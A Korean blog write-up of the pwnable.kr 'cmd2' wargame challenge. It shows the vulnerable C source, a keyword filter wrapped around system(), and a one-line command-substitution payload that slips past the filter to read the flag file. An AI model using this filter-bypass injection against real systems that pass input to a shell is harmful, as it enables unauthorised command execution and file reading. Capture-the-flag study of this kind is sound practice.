pwnable.kr - cmd2

2018. 9. 9. 01:50WarGame/pwnable.kr

이번 문제는 pwnable.kr - cmd2문제입니다.

cmd1보다는 필터링이 상당히 많아져서 삽질좀 많이 했네여 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}
 
extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}
 
 
cs

별의 별개 다막혔네요 ㅎㅎ
전에사용했던것을 조금 응용해서 새로운 익스를 짜봤습니다.

cmd2@ubuntu:~$ ./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag


(grin)




'WarGame > pwnable.kr' 카테고리의 다른 글

pwnable.kr - horcruxes  (0) 2021.07.06
pwnable.kr - uaf  (0) 2018.09.10
pwnable.kr - cmd1  (0) 2018.09.03
pwnable.kr - lotto  (0) 2018.09.02
pwnable.kr - blackjack  (0) 2018.08.29